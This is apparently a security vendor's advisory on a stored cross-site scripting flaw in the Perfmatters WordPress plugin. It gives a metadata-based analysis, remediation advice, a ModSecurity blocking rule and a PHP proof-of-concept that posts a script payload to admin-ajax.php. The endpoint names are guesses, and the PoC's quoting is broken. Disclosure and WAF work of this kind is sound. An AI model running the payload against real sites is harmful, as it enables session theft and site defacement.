Atomic Edge analysis of CVE-2026-57671 (metadata-based): This vulnerability affects the Perfmatters WordPress plugin version 2.6.4 and earlier. An unauthenticated attacker can inject arbitrary web scripts that execute when other users access pages containing the injected script. The CVSS score is 7.2 with a vector of AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N, indicating network-based, low-complexity exploitation without privileges or user interaction, with scope change allowing limited confidentiality and integrity impact.
The root cause is improper neutralization of input during web page generation, classified as CWE-79 (Stored Cross-Site Scripting). The description confirms insufficient input sanitization and output escaping. Atomic Edge analysis infers that the vulnerable code processes user-supplied data through a WordPress AJAX handler, REST API endpoint, or shortcode that does not sanitize input with WordPress functions like wp_kses_post() or sanitize_text_field() and fails to escape output with esc_html() or esc_attr(). Because unauthenticated access is required, this likely involves an AJAX action or REST route registered without permission checks or nonce verification.
Exploitation requires sending a crafted request to the vulnerable endpoint. An attacker targets an unauthenticated AJAX action, likely with a name derived from the plugin slug like perfmatters_update_option or perfmatters_save_data. The POST request includes a parameter containing XSS payload such as alert(document.cookie). The plugin stores this payload in the WordPress database without sanitization and later outputs it without escaping, causing script execution in the context of any user viewing the affected page.
The remediation should implement proper input sanitization using WordPress functions like sanitize_text_field() or wp_kses() on the incoming data. Output escaping with esc_html() or esc_attr() must be applied before displaying stored data. Additionally, the developer should add capability checks and nonce verification to the vulnerable handler to restrict access to authorized users only.
Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the browser of any user visiting pages where the injected script is stored. This can lead to session hijacking, cookie theft, redirection to malicious sites, or defacement of the WordPress site. The limited CVSS impact scores (C:L/I:L) reflect that the attacker cannot directly access the database or server, but can manipulate content and steal session tokens.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57671 (metadata-based)
# Block unauthenticated stored XSS via Perfmatters AJAX handler
# Target: admin-ajax.php with perfmatters* action containing HTML/script payloads
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261971,phase:2,deny,status:403,chain,msg:'CVE-2026-57671 Perfmatters Stored XSS via AJAX',severity:'CRITICAL',tag:'CVE-2026-57671'"
SecRule ARGS_POST:action "@rx ^perfmatters_" "chain"
SecRule ARGS_POST:option_value "@rx <script[^>]*>.*</script>"
"t:urlDecode,id:20261972"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57671 - Perfmatters <= 2.6.4 - Unauthenticated Stored Cross-Site Scripting
// CONFIGURATION: Change this to the target WordPress site URL
$target_url = 'http://example.com'; // No trailing slash
// The vulnerable AJAX action name is inferred from the plugin slug and common patterns
// Perfmatters likely registers AJAX handlers for performance settings
$ajax_action = 'perfmatters_update_option'; // Common pattern for option updates
// XSS payload - stored script that alerts to confirm execution
$xss_payload = '<script>alert('XSS by Atomic Edge')</script>';
// Build the POST data payload
$post_data = array(
'action' => $ajax_action,
'option_name' => 'perfmatters_disable_emoji', // Example option that might store user input
'option_value' => $xss_payload
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing with self-signed certs
// Execute request and get response
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check server response codes that may indicate successful storage
if ($http_code == 200) {
echo "[+] Request sent successfully (HTTP 200).n";
echo "[+] If the plugin is vulnerable, the XSS payload is now stored.n";
echo "[+] Payload: " . $xss_payload . "n";
echo "[+] Access the vulnerable page to trigger execution.n";
} else {
echo "[-] Server responded with HTTP code: " . $http_code . "n";
echo "[-] The endpoint may not exist or the plugin may block unauthenticated requests.n";
echo "[!] Consider trying alternative action names: perfmatters_save_settings, perfmatters_save, etc.n";
}
?>
